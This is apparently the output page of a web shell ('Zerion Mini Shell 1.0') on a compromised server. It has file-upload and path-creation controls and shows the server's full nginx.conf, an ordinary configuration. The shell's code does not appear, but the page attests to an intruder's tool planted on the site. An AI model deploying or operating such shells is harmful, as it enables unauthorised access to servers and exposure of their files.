%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/nginx/
Upload File :
Create Path :
Current File : //etc/nginx/nginx.conf

#user www-data www-data;
user nginx nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
    # multi_accept on;
}

#expires generic map
#map $sent_http_content_type $expires_generic {
#    default                    off;
#    text/html                  epoch;
#    text/css                   24h;
#    application/javascript     24h;
#    application/x-javascript   24h;
#    application/octet-stream   7d;
#    ~image/                    30d;
#}

http {
    include       /etc/nginx/mime.types;
    log_format        main '$host $remote_addr [$time_local] '
                  '"$request" $status $body_bytes_sent '
                  '$request_length $bytes_sent "$http_referer" '
                  '"$http_user_agent" $request_time "$gzip_ratio" "$remote_user" $connection $connection_requests $ssl_cipher $ssl_protocol $ssl_session_id $ssl_session_reused "$http2" $request_id '
		  '$brotli_ratio '
#          '0 '
		  '$sent_http_content_encoding $upstream_addr $upstream_connect_time $upstream_response_time $upstream_response_length $upstream_bytes_received $http_cf_ipcountry';# $request_id';
#    log_format        main '$host $remote_addr [$time_local] '
#                  '"$request" $status $body_bytes_sent '
#                  '$request_length $bytes_sent "$http_referer" '
#                  '"$http_user_agent" $request_time "$gzip_ratio" "$remote_user" $connection $connection_requests $ssl_cipher $ssl_protocol $ssl_session_id $ssl_session_reused$spdy';
#	log_format additional_details '$ssl_protocol $ssl_cipher $request $gzip_ratio $brotli_ratio';    
	log_format scripts '$document_root$fastcgi_script_name > $request';

    access_log	/var/log/nginx/access_main.log main;
#    access_log /var/log/nginx/access_additional.log additional_details;
#    access_log /var/log/nginx/scripts.log scripts;
    sendfile        on;
    default_type    application/octet-stream;
    #tcp_nopush     on;
    client_max_body_size 200M;

#    lua_shared_dict luameter 8m;
#    lua_package_path "/opt/luameter/luac/?.luac";
#    init_by_lua "luameter = require 'luameter'";
#    log_by_lua "luameter.mark_by_host();";#    luameter.mark_by_path(1)";

#rewrite_log on;
#	resolver 8.8.8.8 ipv6=off;

    #keepalive_timeout  0;
    keepalive_timeout  600;
    tcp_nodelay        on;

    brotli on;
    brotli_types text/javascript text/css text/xml text/plain application/xml application/json text/xhtml application/x-javascript application/xml+rss application/javascript image/x-icon text/json text/calendar;
    #brotli_types *;
    brotli_static on;
    #

    gzip  on;
    gzip_disable "MSIE [1-6]\.(?!.*SV1)";
    gzip_vary on;
    gzip_proxied any;
    gzip_types text/javascript text/css text/xml text/plain application/xml application/json text/xhtml application/x-javascript application/xml+rss application/javascript image/x-icon text/json text/calendar;
    #charset utf-8;
    gzip_static on;
  

    deny 91.200.12.0/24;
    deny 91.213.126.0/24;
    fastcgi_buffers 16 16k; 
    fastcgi_buffer_size 32k;
    server_names_hash_bucket_size 128;
    server_names_hash_max_size 1024;

    map $sent_http_content_type $expires_generic {
        default                    off;
        text/html                  epoch;
        text/css                   24h;
        application/javascript     24h;
        application/x-javascript   24h;
        application/octet-stream   7d;
        ~image/                    30d;
    }

    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;

}

# mail {
#     # See sample authentication script at:
#     # http://wiki.nginx.org/NginxImapAuthenticateWithApachePhpScript
# 
#     # auth_http localhost/auth.php;
#     # pop3_capabilities "TOP" "USER";
#     # imap_capabilities "IMAP4rev1" "UIDPLUS";
# 
#     server {
#         listen     localhost:110;
#         protocol   pop3;
#         proxy      on;
#     }
# 
#     server {
#         listen     localhost:143;
#         protocol   imap;
#         proxy      on;
#     }
# }

Zerion Mini Shell 1.0